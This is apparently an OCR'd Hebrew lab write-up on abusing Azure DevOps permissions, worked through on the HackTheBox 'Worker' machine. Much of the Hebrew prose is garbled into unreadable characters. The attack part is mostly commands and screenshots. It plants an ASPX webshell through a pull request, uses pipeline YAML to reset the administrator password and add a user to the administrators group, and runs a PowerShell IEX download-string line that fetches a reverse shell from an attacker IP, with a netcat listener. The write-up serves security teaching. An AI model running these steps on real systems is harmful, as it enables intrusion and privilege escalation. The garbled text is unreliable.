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https://www.atlassian.com/software/jira/features/scrum-boards#:~:text=The%20scrum%20framework%20enables%20software,and%20promotes%20iterative%2C%20incremental%20delivery.
https://docs.gitlab.com/ee/user/project/issue_board.html#:~:text=The%20issue%20board%20is%20a,a%20feature%20or%20product%20release.&text=Issue%20boards%20help%20you%20to,list%20for%20your%20existing%20issues.
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4  # https://aka.ms/yaml
& Releases 5
6  trigger:
I Library 7 - master
8
= Task groups 9 pool: 'Default’
10
. 11 steps:
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13 displayMame: 'Run-a one-line script’
A Testpans i
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https://www.jenkins.io/
https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started/pipelines-get-started?view=azure-devops
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https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
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[Automate multistage DevOps pipelines with Azure Pipelines -1jmn]
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J'wnn n1oa mi?'ma [IAAXN DRI OR'NON

Authentication

77NN .Azure DevOps-7 12ANNNY7 NIN 7V 790N UNNUNNY NO'DN 'UI9 NX NNTA NINTIAN '7NN
:D'N2N DIZNYN NYI7Y NITYA WNINn

Azure Active Directory - Azure AD .1

Microsoft Account - MSA .2

Active Directory -AD .3

D'UYNNYN 150N Y' T©WUKRD X Azure AD-a wnnwny [mi)ap) Y'?YJIYJ ,JAV2 NINTTNa 0'Dnin MSA-1 AD

[0 AD-7 2N NIV va X7w 71m

2an nd>wn? 012'n7 1O .Azure DevOps-7 punnnn? n'713' DAY D'D'7AN1 NNNK NIYYZY79R
NIRAN NI'NYOKRN [N TNRA WNNWAYT7 [N DY 70 TN NINTIY

Personal access token .1

OAuth .2

SSH oolan nin'x .3

Authorization

TIN |'2) .NINYIN 7W DIYW D10 (KRN 7aKR) X7n om'7 Azure DevOps-2 72X X7 IX IN791N

:2"I30 NwA? Nnonn NNy

IN97 NNKX Security Group-7 )"'1wn Azure DevOps-2 wnnwn 70
ANXY 707191 D'INN'WYY DY NIRWIN NIR'YN Security Groups
L7079 D' PY 0NN DY NIRYAN 2vnin access level n¥j7im wnnwn 757

.'I2I Repo, Pipelines 120 D'NIN'WN 2NY7 NIRIY NINNA NIYAZ NIKYAD

B N R

Team Administrator' extension :|12> Role-base assignments-n 70T NI7NIN NIXWINN XY
.'I21 management role

'YX NWA7 YWOXRY 197 o vm nN'w ' 6
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Security -7 D'wnnwnn 77 7w Nam n9o0In NNTYA NN NIRYAN YIARY nXIDIN n0'wn NI

22720 DR IR'YNN K7 V7NN Azure .WNNWNAN 7Y DXIAPEN W NIRWANN 77D DX 7'Nin? D21 Group

NT2IWpPY nn D

NINY 1787 wnNwn? 2un7 DX NIRY DIF0ATIN DIRYINN |2 WO DY IR IX 'R D'NyDY?

Q'R DXNIN Azure DevOps Security Group 1IX',0T NN [27 .1 NNDWN

NIXYIN N'ONIVIN NI¥ NIV NII9T Security Groups 7w VO NY' Azure DevOps

.Project Administrator-1 Contributors ,Readers :NIXI91N NIXIAPN [N'2'2 .NXIA7A D'UNNWNAY

['22N AR NYI7WA 1TV DNIRYAN 2V07 NXIY DYD 701 PRINYANN NIX 7507 'MY7 YA 1D

:0'NAN

NIMAINRAD I'7Y qromi TP 7V TaIvw MY Contributors-N NKWAN DX j72V1 @

07'N9N "AXYN NIX 7Ny wnnwn? Project Administrator-n NXWUIN DK 7'2V1 e

Y7 N7 X7 T2 nvox? D'WNTIN D'WUNNWNT? Readers-N NRWAN NN 72V o

Boards

:boards-2 nixwNnN 7101 ,nnarT?

You use Boards to implement Kanban methods. Boards present work items as cards and support quick status updates

through drag-and-drop.

Task

View boards and open work items

Add work items to a board; update status
through drag-and-drop

Reorder work items or reparent child items

through drag-and-drop; update a field on a

card

Add child items to a checklist

Assign to a sprint (from card field)

Configure board settings

Contributors

Team admins

Project admins

[Default permissions quick reference - Azure DevOps | Microsoft Docs :NIX7NAN NIN?ALVYT W]
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Access Level

TIAN2 NRT ,UNNYNN 7Y |I'yN7 DXNNA 707190 DX QUN] 1IRY DN 071W Access Level-n
DA W' YNNWN?7Y T'opn7 wNTl .Azure DevOps-2 D'NIN'Y? wnnun 7w 112'N2 NIV2IYY NIKWINYT

N'IRNNN DY NN DX DAL NFVANN NIRYANN DX

Permissions

:DN XI70 NIXWINN 7V D'071IWY 0'OIVVO NN W'Y DT Permissions 7y NYT7 )XW Nn 070N
Allow, Inherited Allow :nw'x D"IWOXRNN

Deny, Inherited Deny and Not Set :nw'a n'moinn

NIX? [N ,NIXYINN 9T AR )2 .Security Group NNAIT NWIN NIY'anl 170N NIKYINNN 770

NUNy N'XP7'TI'RN DR

o [Fabrikam Fiber]\Fabrikam Team

he default project team. Was Fabrikam Fiber Team

Permissions embers Member of Settings

General
Delete team project Mot set s
Edit project-level information Mot set 4
Manage project properties Not set N
Rename team project Mot set s
Suppress notifications for work item updates Not set v
Update project visibility Not set S~
View project-level information Allow s
Boards
Bypass rules on work item updates Not set N
Change process of team project. Mot set
Create tag definition Allow (inherited) :fx::::f;‘:z:‘r;::;ﬁ ii:h;i;dg‘::l:'gh your
Delete and restore work items Allow (inherited) e e
Move work items out of this project Mot set s
Permanently delete work items Mot set 4

AIDT7 W' N, 0PN ARWNI 'OIX 97 17 NN'RNNN T NINTINN T DX wnn' 0'N9 75 ,01'07
NIXYINN DX 711X TAW7 3MNima 0L T NIFf7 Yam nnann "l 0'NN5NY NIRYIN INnY

.(least privileges |Nj7'v) 17 NixININ
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N¥IN 7R YAN7 Nan 7V ny'Yn nnisu7ony 01TDN 01701 WNNWNT [N YD 02T 0O'NAN 0'9'V0)
DN ,0M"PY NI DY7721WUNN [N DR ANIY D9'PNN NIVRIY nTawn nnnY L(RCE) mwn 7y TIp
[1A> NNID079 DY NTIAYA DI WX (NI 0'NDWNIL) D'0'0QN DID'ON NX NALM NNIND 1A'Y!

.0'-pipeline 1T CI/CD nin'wnl NIRTA WN TR 71017 D220 DA DTN WK Azure DevOps

>0 0y 0'7'nnn

INID ,NIN'ON [N7IW7 IRAN K'Y DIPTIND DAL DY XDTYD  NTAY NDWWAN 'R 12N INKY
best naxn 'T' 7V NANYWNI N'7'27 NNIX2 NNVIRN XY DX A'¥N7 N1 NNVARD TN 7V 70N0)
NNl "YY M 0VID K AWURD NI NN NIRONYT DN KPHT 1NIX 72X DNINNE D7D practice
NIRYAN T NI XPN DX M7 DN ?JIARK YIAD7 XN MI0 Ty DX NIz NN .22 0ID'oN
AWON DR ?qpIN T DN7W credentials-n NwdI phishing NopnNa 1791 DNl D'W7N D'wnnun?

PN'MYA N9'PNT7 11071 NIINY bwnl RCE NAwWNY? devops-n NNWA nw2IN '7x17
.027 Xaw X7 owni RCE-7 Ni72 72107 n710' Azure DevOps NNNISVYD 72u NNYXIN nOpNn — 2" mx

:NX0I7907KR VIN'A7 D'DT 3 AR 2NN 7190 NNAoN]
02 NIYXAN] TT YA DR7YN @
ITT Y2 DNYNINIYIN NI qprun - e

nNIY 0T D-pipeline 71X @

D'YNNYN 7w credentials 7277 0710 INIX D'XAN D'WU'NON] 0'7'NNNY 9% n10VIVPZ NIYD
NT'R YN D NNY D721 DNX .DNIX DAWN NIIRDY7 T¥D 7V 20YNn? K71 NRDIY NIXWIN '2v]
;07w 120'K7 excel macros 1DIN2 7'onn excel yalg oy 7'n nn'w 775w DdNINN phishing |"onp
C&C naw? "annn WwX Powershell 091707 pwnnnn XN Q1IN QYNNI T YaIpnw NX7I
key logger 7w malware "wnn TN VSMPON DN INXY? .|"'9NPN 7'2AWA TNI'N INPNY PNRNN
1019 NX 117 N7YWI TV 7V 78717 HTTP DN NN9 KIN 20170 7Y credentials 190n 077w WK1

© wrada 11197 NY01w N'Nwnn 1791 credentials-N TNX 1'NA DI VIYOY IX .17W login-N

?7'NNIv TR
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Webshell nx7yn
W nadn 7y RCE-7 72107 215 Azure Repos-n N0 7w 71X TX'D DRI [IWXRIN 7702

.0'N9N 7w TIpN NXR 7M17 0210 D'NNSN 12 DIZAN K'N Azure Repos NQ'20 ,0TIN 12D INNKY '9)
,0NPNN 2N .0P'NO5N 7W NN T IR NDYYI 0'YAR & DR 9IX7 ,0'WTh D-branch Nix'7 N
MYNY D'NN'YN DX DT Production-2 Mwn 7Y Y1 DI' 7Y 19102 DT XIN DY DIWY TIpN
NIRYIN 17 W' DX 0017 .(web Nvyp7981 12T NT'AL) [9TOTN T NYpPN Wnnun? wain

1w 01T RCE 17'9X1 XSS A'win? 7011w NIAA 1210, 0! 1N9N TIR'? ND0IN NNWONNY

MIX2 Zinn T n¥n) webshell X0 '01N01'% MY 2V TI YN NAwN? N QLVIYON TN
V1NV MIYY VNI YAl W NX7YNA 2"NOA NI .(TA72 [9TOTN NIYXAN NAOPZRIVI'N
MY 112y php-2 79101 2N7 X N2 NN NMYAY NN NOY 721 wnnwn? [N Q17 o'

:Windows 7w 1IS 112V aspx ,asp-2I apache/nginx

webshell
/home/jon/htb/boxes/conceal/webshell.asp
/usr/bin/webshells
/usr/share/webshells
/usr/share/doc/webshells
/usr/share/doc/webshells/changelog.gz
/usr/share/doc/webshells/copyright
/usr/share/webshells/asp
/usr/share/webshells/aspx
/usr/share/webshells/cfm
/usr/share/webshells/jsp
/usr/share/webshells/laudanum
/usr/share/webshells/perl
/usr/share/webshells/php
/usr/share/webshells/seclists
/usr/share/webshells/asp/cmd-asp-5.1.asp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
/usr/share/webshells/cfm/cfexec.cfm
/usr/share/webshells/jsp/cmdjsp.jsp
/usr/share/webshells/jsp/jsp-reverse.jsp
/usr/share/webshells/perl/perl-reverse-shell.pl
/usr/share/webshells/perl/perlcmd.cgi
/usr/share/webshells/php/findsocket
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/findsocket/findsock.c
/usr/share/webshells/php/findsocket/php-findsock-shell.php

MiIx¥a (?...0"0'02 MI7 NIt D1 "2IX) 0"0'0a webshells 190n oy nyan Kali linux napn
Open source '0j7'ND NIYXNXA (D700 7w DIDNNN NKRI) VON X NNIYNYN 2'NINYT [N .07 T
H|Pb)

https://github.com/tennc/webshell
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https://github.com/tennc/webshell

- 7w branch-7 2In>% n71>'w Nathalie Heniey (Nathen) bwa nwnnwn? Nann .aTIAvY? N7

:spectral DWA VP'ND NYNNWNYT D NIKYT? TWON .master

CJ Azure DevOps ekena SmartHotel36 Re File & spectral v
SIREEEL + §e master ~  spectral / Type to find a fil
[~ ‘
verview =
© spectral ... Contents History + New Upload file(s) 4 Download as Zip
B\; Boards assels Name 1 Last change Commits
images
Repos ? assets 4/2/2020 8a4le08a Version 1 Nathalie Henle
1) elements.html
) images 4/2/2020 B8a4le08a Version 1 Nathalie Henle
(3 Files 3 generic.html
) 31 elements.html 4]2/2020 B8a4lebBa Version 1 Nathalie Henle
9 Commits ) index.html
html i Nathalie Henley
[ LICENSE.txt ) generic.htm 4J2/2020 8a4leB8a Version 1 Na
2, Pushes )
[ README.txt ) index.html 4/2/2020 8a4leB8a Version 1 Nathalie Henley
Branches
¥ D) LICENSE.txt 4/2/2020 8a4leo8a Version 1 Nathalie Henley
@ Tags [} README.txt 4/2/2020 8a4le08a Version 1 Nathalie Henley

INN7 .722MN00 T Git NIYYNRA N2RPI7 2UnnY 11178 12100 72 DR TN ,119'00 DK VYWSY7 7'avwa
197 aspx 'YAp WA XINW NIXYT? [N11 IS XD MWW (1'n) apsx bnI92 webshell yal 'nva ,|pn

.master-7 push y¥111 master-n 91y X ("X-Powered-By: ASPNET" nTv

NIXAN NITIPON NIX 72'02 Yy )P 7awa

[~/digitalwhisper ]
config user.name “"nathen”

~/digitalwhisper]
t config user.email "nathengworker.htb"

[~/digitalwhisper
t clone http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathengdevops.worker.htb':

[~/digitalwhisper]
| spectral

[~/digitalwhisper/spectral]
webshell ‘rep aspx
/usr/share/webshells/
/usr/share/webshells/ /cmdasp.

~/digitalwhisper/spectral]
usr/share/webshells/aspx/cmdasp.aspx .
[~/digitalwhisper/spectral]
t add .

[~/digitalwhisper/spectral]
it commit "totally not a webshell"
[master 9f54144] totally not a webshell
1 file changed, 42 insertions(+)
create mode 100644 cmdasp.aspx
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:117W yaIzn DX NIXYY? 7211 07'1N9N 7w Repos-in N0 NN

i* master '  spectral / Type to find a file or folder
<
(@ You updated §°jonathan just now — Create a pull request
4 spectral
assets Contents  History -+ New ~» T Upload file(s) | Download as Zip
images
& cmdasp.aspx Name T Last change Commits
M elements.html assets 41212020 8a41e08a Version 1 Nathalie Henley
1 generic.htm| images 41212020 8adle08a Version 1 Nathalie Henley
[ index.html &) cmdasp.aspx 19 minutes ago 9f54144e totally not a webshell nathen
[ LIcENSE.xx ) elements.html 41212020 8a41e08a Version 1 Nathalie Henley
[ README.txt . ,
) generic.html 41212020 8a4le08a Version 1 Nathalie Henley
) index html 4/2/2020 8a41e08a Version 1 Nathalie Henley
[ LICENSE.txt 4/2/2020 8a41e08a Version 1 Nathalie Henley
[ README.txt 4/2/2020 8ad41le08a Version 1 Nathalie Henley
197 NNNISVYON W GUI-N NIyyNXA 7" DR Y¥AY 0710 07 2w
Contents History New * Upload file(s ' Download as Zip
assets 212020 8a41e08a Version 1
images Commit x
1)) elements.htm Drag and drop files here or click browse to select a
' : Y P ~ Browse...
file
I3 generic.htm
[+] cmdasp.aspx
1) index.html 1.4 KB remove
= Comment
(] LICENSE.txt ) ) )
just an innocent file
[ README.txt
Branch name
master
Work items to link
Search work items by ID or title v
Commit Cancel

12'W YXIAW yana deployment 1iay) build-n xa%w 75 Nk yxar CI/CD-n Y'7nnw NdDNY XIin MNnw '

AMINY 127w yalpn N N Pal (i T
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:root directory-n NNN 1n2ynw webshell-7 wan nimw 30 7w XY

spectral.worker.htb

iis apppoolidefaultapppool

Command: |wh0arr|i | | excute |

-0 QY 0'¥ap NXYYNY ARWAN DY N> (DM2'0I00M'TR) DMO'Y90 D'YNNWUNT 71 :napon
APAN TIPY 11'Y YXIAY Ya02 N'0NIVIX NNIXA D' X7 deployment-n 1*7nNw y'mim ,q012 master

.(CI/CD mIx¥na 0TIy TUXD N'NIvAYn D"7|7 D"'NN DX NYIY N7 D OKR) LP'NON v

pull request NMIY'X? NIXYIN DY W70 wnnwn 1Y U'NON

nitunY? 7' Nw wnnun 1072y TR 19X NIynT 715 X7 wnnwun R NVAINN master-n 9y ,Nyd
build y¥xanw CI/CD-n V90 |3 M .pull NIYPA TWKRT? NNWOX 17 W' 72X master-7 NN TIp

A7'von'7 0715 0119'¥90 D'WYNNWN 171 NYdI 7012 N'ONIVIX NN

X 737 (DTN N'WYY nn%? nnim) master-n 78 webshell-n yaip nx nitvn%? non ox ,nyvd

XN NXRAYUN

Commit X

@ TF402455: Pushes to this branch are not permitted; you must use a pull
request to update this branch.

Drag and drop files here or click browse to select a

file Browse...

[+] cmdasp.aspx
14 KE remove

Comment

Trust me|

Branch name

master

Work items to link

Search work items by ID or title ~

.master-n 92y 7X push yx27 nan 2y pull request-n NWRA NX 117 NWUR'Y DN 1INIX 017D
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2I¥'7 721 DT checkout y¥a7 ,wTn branch 1ix'? 2011 ,%"10 '0'02n N1aNN 12210 DX qIpY7? N 7y

:pull request

[~/digitalwhisper/spectral]
branch jonathan

| ~/digitalwhisper/spectral]
t checkout jonathan
Switched to branch 'jonathan'

[~/digitalwhisper/spectral]
push origin jonathan
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathengdevops.worker.htb':
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 8 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 988 bytes | 988.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused @
remote: Analyzing objects... (3/3) (103 ms)
remote: Storing packfile... done (354 ms)
remote: Storing index... done (160 ms)
To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
* [new branch] jonathan -> jonathan
Branch 'jonathan' set up to track remote branch 'jonathan' from ‘origin'.

:Azure devops NNII90792 pull request NIX' ,master-n N 78 X' G2Y7 merge Y¥17 X

B smartHoteizso + 1% New Pull Request
ﬂ Overview §v jonathan ~~ | into }° master v | &
Title *
B soars
- Trust me!
Repos
3 Files Description
. Trust me!
¢ Commits
%, Pushes
:’9 Branches Markdown supported.
Tags L. B T @« =2 E@ # 1)
11 Pull requests Trust met
Reviewers
f Pipelines Search users and groups to add as reviewers
A TestPlans Wark ltems
Search work items by ID or title ~
& artfacts
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NIX TWNY7 0'71D' NNIXRY [NNon ,welp

& ovenien
B soaus
Repos
B Fies

4 Comms
& Pushes
P Branches
& Ty

11 Pull requests.
of Freines
A Testrens

f16 Trust me!
N nanalie Henley  §5jonaihan i Fmasier
Overview  File: Ce

Description

Trustme!
Show everyting
5 ) Asdacomment
@ 2oproved by I Nathaie Heriey

N el Heniey jomed as & reviemer

Created oy ) Nathaie Heriey

:NN7¥N1 07WIN merge-n '7nN

Merge type

Merge (no fast-forward)

N’

Post-completion options

s

Delete jonathan after merging

=

build -n nx yn'?,CI/CD-n 1*7nN DX DT 22wOn71 woNYT pipelines-n 12207 N277 XIn Xan 27wn

A10X'Y WTNN Q2N 7R IMIX 11071 job

Queue build for Spectral-Cl

Agent pool

X

| Default

Branch

£° jonathan

Commit

Variables  Demands

system.debug false

+ Add

:72v191 yxann build-n 1"70N NXEDIX'Y NYWRAN DR DR

History

Spectral-Cl

Analytics

m Manual build for Nathalie Henley Q 168 f* jonathar 2022-01-10-12:06

20
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B smartHoteizso
© #168: Trust me!
ﬂ Overview Manually run today at 12:06 pm by Nathalie Henley 4 spectral {# jonathan ¢ dcc2343
E Boards Logs Summary Tests
Repos Agent job 1
Pool: Default - Agent: Hamilton01
f Pipelines
Prepare job - succeedec
g Builds © Preparejob - suc
Initialize job - succeeded
& Releases @ Initialize jo
W\ Library @ Checkout - succeedec
s @ Deploywebsite - succeeded
— Post-job: Checkout - succeeded
+ Deployment groups © Postjo sl '
Finalize Job - succeedec
A Test Plans °
@ Report build status - succeeded
FI Artifacts

-N N0V NIY7INN DX NI 71IY'? NN X2n W'NNN1) .Production N2*a07 12y 17w Tipn - i
TI7 INIYXAXRA Y071 [9T9TN 0T webshell-n X 01917 7211 2¥7 A7 INK7 .(NdIN2 NIV pipelines

Mwn 7y

spectral.worker.htb

iis apppoolydefaultapppool .
Command:  |whoami && echo ™ && uname -a | [ excute
MSYS NT-10.0-17763 Worker 3.1.4-340.x86 64 2020-05-19 1Z:55 UTC x86 64 Msys

YNNWNAY 7TRTY7 N7 7aX" piyx? 0NIMN DNN,NA1I0 NNIX2 WNNNN NNR DNARYE NT'Na ,Nnnn
- D'PTIX NNA7 DNXI "??2?20'17 pipelines N'7V9n7 N'¥oIX DAl pull requests UY'X7 NIXYIN DA 727!

I9'Y 0DYTA DNIXN 7¥17 DMYWONN NNIX DX D'NIN'Y N'YPn? DYLN AN

(X7w 72n1) Nt X7 Azure DevOps Ind 0'W1 D'A'DY NIANNA NIDWAYT , AN X' N0IWON NAIWNN
21y9N NI72an N NIRYINN 7101 MNR DRITR NIXA 2yNn Yl 700 DR 701'w 0puIR\7nm
code NX7 pull requests MY'R YIX' TWOXRT 10D ,"I0T |INND NAIVYT 72y7 I¥' D¥ZN 'WNNwn T'NNY

.Production 177 7'awa 0'nNoNn% deployment-7 build *2*70n nx¥1n'? NIXWAN N1'N1 1NDI reviews

MIP NN - AT DR 7' DATAY K2 JIWRIN WNINNN DN NI DAY K7 'D DX YN UNONn
DM |"TY 019'0N K7 NTYW D720 2NN AYRIV'ON DX D'PTIAWD 728 YR "wnan' 750 TuUNd

JMTR NIRYAN 'R TRR-GR7W NINNY ,0'PTN D'UNNYNn
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Ta'7a build-n 7™70n 7Y '®NXN NYa DevOps-n WX 1'w'Y w'NON

-0 '7NN2 NIATNWN NIYYNARA KIN NIM Y1910 Azure DevOps NNW 7V n97n 1I0RIN NRNIN 70D

N1 pipeline N7 NINWAN DYV wnNNwn D' T2 117271 DTN :1'WOYN 12D AT DR TA1 12NN .build

NYUNN 910

X7 172'pw Robin Islip (robis) wnnwnn N9 .0MTIEn D'Y'NINAN DMNINN MY 'W7UN Uinann

pipelines NIx'7 215' NI ('Mivawn 72X n711) 72X ,Repos-n 7¢ TIpn 7101 Natoa nva? 7901 e

:Build Administrators NX12j72 12N XINY [11'ON DIY D'AION

Create group
robin islip

£ Robin Islip

4

WORKER = Robin Islip

Permissions Member of

+ Add... ) Search

Display Name
-B. Build Administrators

8 PartsUnlimited Team

Username Or Scope
[PartsUnlimited]

[PartsUnlimited]

(TN TNX '22) RCE 7X% D''nN D'-pipeline 1wn y1an? TWoX 'K IR INID

:D1IY pipelines (X' 7aKX) X701 11x"7 0710 12NN build admin NIXWANQ DY INIXRY [11'0N

l‘:] Azure DevOps ekenas PartsUnlimited Pipelines
n PartsUnlimited Connect Select Configure Review
ﬂ SRS New pipeline
I ?
B soars Where is your code?
Repos Azure Repos Git  YAML
Free private Git repositories, pull requests, and code search

q Pipelines

o GitHub Enterprise Server  YAML
m Builds The seli-hosted version of GitHub Enterprise

Other Git
5? FEEEEE 0 Any generic Git repository
% Libra
8 == Subversion

B Centralized version control by Apache
&= Task groups
= Deployment groups Use the classic editor to create a pipeline without YAML.
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YAML vn1192 DraImdn pre-built pipelines 7w 0'a10 30 '7un 117 IXX1' "Azure Repos Git" NX 1N DN

7¢ AR'M nipwnnnn? 1Y React oy Node.js NTINN 7nn :NI71v9 7w TIXA 2N0 VO D'vaxnl

:(UNIN NAM AR NNIY 100 VYN 7'910N Yal) Azure NIAA0 DY VFNON

Azure DevOps

PartsUnlimited

Overview

Boards

Repos

Pipelines

Builds

Releases

Library

Task groups

Deployment groups

Test Plans

Artifacts

+

ekenas PartsUnlimited Pipelines
-/ Connect ~ Select Configure Review
MNew pipeline
Configure your pipeline
@ Azure Web App for Java
ASP.NET Core \ - | A '
@ Build & Java WAR file and deploy it to an Azure Web App.

® e o0 n O

Build and test ASP.NET Core projectd

ASP.NET
Build and test ASP.NET projects.

ASP.NET Core {_NET Framewo
Build and test ASP.NET Core projectd

NET Desktop
Build and run tests for NET Desktop

Universal Windows Platform
Build a Universal Windows Platform

Xamarin.Android
Build a Xamarin.Android project

Xamarin.i0S

Build a Xamarin.i0S project.

Node.js

Build a general Node.js project with

Node.js Express Web App to Lir

Build a Mode js Express app and dep|

8

Go (preview)
Build & Go application.

Gradle

Build and test a Java project with Gradle

Jenkins
Queue a Jenkins job and downlog)

Load test using Azure laa

Cr on Azure laaS virtu.
testing s

Machine Learning Model
Build and deploy a ML model usin

Mode.js With Grunt

Build & Node.js application using

Mode.js With gulp

Build & Mode.js application using

Node.js with Vue
Build a Mode js project that uses YWue

Node.js with webpack
Build a Mode js project using the webpack CLIL

Node.js with React
Build a Mode js project that uses React.

Node.js React Web App to Linux on Azure

Build a Node js React app and deploy it to Azure as a Linux w

Node.js with Angular
Build a Mode js project that uses Angular.

Starter pipeline
Start with & minimal pipeline that you can customize to build g

Existing Azure Pipelines YAML file

Select an Azure Pipelines YAML file in any branch of the repo

-N W 27U 0NN 7Y 7707 AN IR NIND X' WRN D'A9117N O'-pipeline 7w DT ATTRA [11ann Nnun

[IWXIN UININ-NNA .WTN 1'70N 1 TanY? D'wa Dnwd (TNIMA 0777 X7 DY9-9X NdD DAY) devops

N7'NNY 17U NXPN0oAIPN A7 NV TNX INIK) "Starter pipeline" '0'0an Pipeline-2 1N

.RCE-7 miy¥nxa yan'7 [N 1¥D XAl (mNnn

23
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script NaNY [11'on RCE 117 wr 12) pipeline-n MIIXN 7y n0™w 117 W' DR 17 21wn 75 N'wX)

:cmd.exe\ bash Niyxnxa T nxn

Refeases

Ubrary

Task groups

Deployment groups

Review your pipeline YAML

azure-pipelines.yml

*aan

: Command line
: Run a command
2215152

Description
Version

docs.

nt authority\system
MSYS NT-10.0-17763 Worker 3.1.4-340.x86 64 2020-05-19

line script using Bash on Linux and mac0S and cmd,

: Microsoft Corporation
microsoft.co

re/devops/pipelines

12:55 UTC x86 64 Msys

NNO'0 NN NNYY 7un? 7311 .AX7A NUMY NAWNT7 7NN DR 7X17 7'2w2 KN 1T 77 Y RON

71NN 1'7% 1anNn71 Administrator-n

ﬂ Overview
&
f Pipelines

Boards

Repos

azure-pipelines.yml

N

@y Builds
% Releases 5
I Library 7
8
= Task groups 9
10
%" Deployment groups i_’
)

Review your pipeline YAML

# Starter pipeline
# Start with a minimal pipeline that you can customize to build and deploy your code.

trigger:
- master
pool: 'Setup’
steps:
- script: |
net user administrater DigitalWhisper2@22
displayMame: 'Pwned!’

24
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:NN7X¥N1 VX job-nw 7271 pipeline-n N¥1N WNKY?

Job
Pool: Setup - Agent: Hamilton11

Prepare job - succeedec

Initialize job - succeeded

Checkout - succeedec

Pwned! - succeeded

Post-job: Checkout - succeeded

Finalize Job - succeedec

O 0 0j0|j]O O O

Report build status - succeeded

YW winrm NN'Y DX 7¥mwy kali n21aon *2) evil-winrm NIY¥NXA 2IN0N 12NNNY 01713 12NIX DY)
NN NIRWIN DY wynnwn? (N1dnn 7y

~/digitalwhisper/spectral
10.10.10.203 L1

PS C:\Users\Administrator\Documents> whoami
worker\administrator

PS C:\Users\Administrator\Documents> uname -a
MSYS_NT-10.0-17763 Worker 3.1.4-340.x86_64 2020-05-19 12:55 UTC x86_64 Msys

(robisl) mwnw wnnwn? qror'w pipeline-n NX 29177 LVIYD TWOX WY NIND NIYYY? 117 X1 DX IX

'R NIRYAN

ﬂ Overview e e e
ew pipeline
B soads Review your pipeline YAML
22 Repos . .
azure-pipelines.ymi
f e 1 # Starter pipeline
2
gy Builds 3 trigger:
4 - master
& Releases 5
6 pool: 'setup’
Y Library 7
8 steps:
Task groups 9 - script: net lecalgroup administraters robisl /add
10 displayName: 'Pwned!’
2" Denlovment aronns 11
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:evil-winrm NIYXNKX2 NNIT NIIX2 12NN DX 2N ANXYI

PS C:\Users\robisl\Documents> whoami /groups

GROUP INFORMATION

Fuerwnne

Well-known

NT AUTHORITY\Local account and member of Administrators group Well-known

WUKKER\Froduction

BUILTIN\Remote Management Users

BUILTIN\Administrators

BUILTIN\Users

NT AUTHORITY\NETWORK

NT AUTHORITY\Authenticated Users

NT AUTHORITY\This Organization

NT AUTHORITY\Local account

NT AUTHORITY\NTLM Authentication

Mandatory Label\High Mandatory Level
PS C:\Users\robisl\Documents> []

Alias
Alias
Alias
Alias
Well-known
Well-known
Well-known
Well-known
Well-known
Label

group

group
group
group
group
group

NI '0'0aN Alonn pipeline DY NTIAY AN IT

,php ,python :IN> NaNX backend Nowa win'y nwIvY pipeline 721 win'y Niwy7 1IN2% 070! 10

7Y N'aNN DX (DINK X ITD NIXA) 0007 DIPN DI' 7w 19102 ' 7102w 11PN '1D1 node.js ,asp.net

.2 TV II'YYW NN DX YUNATI script

Pipeline TIX"1 NINX TYX [11DN2 NP1 WD WNINA-NN 77awa ,N77100 NImnn DX NIKINY Dan 7y

DI " wnn .

TNt

Node.js With gulp
Build a Node js applicat

e Xamarin.Android
§

d a Node js application using the Grunt task runner
o Universal Windows Platform
Mindows Platform application using Visual Studi

@ Xamarin.ios
@ Build a Xamarin.iOS app and

with App Center

J . Empty pipeline
2

Start with an empty p

peline and add your own steps.
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:build-n 7*70N nx¥N 7V 'ROINKRY agent-7 powershell a10n task q'on ,|on WK

PartsUnlimite Pipeline O Searct = )
& - > PartsUnlimited-Cl
Tasks Variables Triggers Options Retention History & Save & queve
Pipeline

Add tasks powershell x
== Getsources Don't see what you need? Check out the Marketplace. 2
T X

Agent job 1 . g F‘owershell . “

Q Service Fabric PowerShell

i E PowerShell on target machines

i Azure PowerShell
XY ;

Deprecated tasks v

IN NIND NT .T2721 NNX N¥IN MIYA reverse shell-7 XKIpn 090 Nn'wN? q'oIN% XN Xan 27wWn

.windows N> MAITAWD D' YI9] I reverse shell-7 vopon NIt

:0IYD INYNI 12T 2"'N0AY 121 )X INI' N¥P VAN AR N7NNNA 210N NXP? NIKINZ Y710 AT

& - > PartsUnlimited-Cl

Tasks Variables Triggers Options Retention History B save & queue *) Discard = Summary
Pipeline . -
1 pipe PowerShell @ @ Link settings [f View YAML [i] Remove
= Get sources Task version 2+ ~
»q PartsUniimite
Agent job 1 + Display name *
- PowerShell Script
g ET?r,_She" Script [ e @
File Path (i\}‘ Inline
Script * ®

# Write your powershell commands here.

[ IEX(New-Object Net.Webclient).downloadString(hitp:/10.10.16.8/rev.ps1) I

# Use the environment variables input below to pass secret variables to this script.

ErrorActionPreference (5

Continue v

Advanced
Control Options
Environment Variables +

Output Variables

Azure DevOps Exploitation
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NN NN rev.psl DWA yaly TN 72wa .NET nn1isw?o 7w web client-a win'w :naxpa

JDMXIT NIXA IXINY DR NKT Tl (17w NopInn nannn)

DYTAIN VOISI IP NAIND '97 NIND NIA'N 0I19NY7 AT INNVNA 72W malware XIN TINAN YaI7n NN
:PS 7w 730 'YX wRIn7i wRnN

= = 10,118 = 4443

NwA? 7'2awa pMann nNax DYTY VPN-2 17w N'o19n Namdn DX N1vyn 10.1.1.8 namon ,IXD
22 NIY¥NX2 0'0121 DNIAMNIE NIAYNY |'TNﬁ'7 D'71>' NNIX J9NIN N1dNN NAYIr N2 n2'20%

‘netcat

~/tools

4443
listening on [any] 4443

'TNNYI NTIROD INIX YNIN7 ,string 2277 INN0N .Invoke-Expression 7w 11X XIn IEX-N Powershell-a

.0790 NX

:http.server :3dm [IN"'9 77N 1TV 17w Mdnnn HTTP Nw NIMS7 nan 7y

http.server 80

[sudo] password for jon:
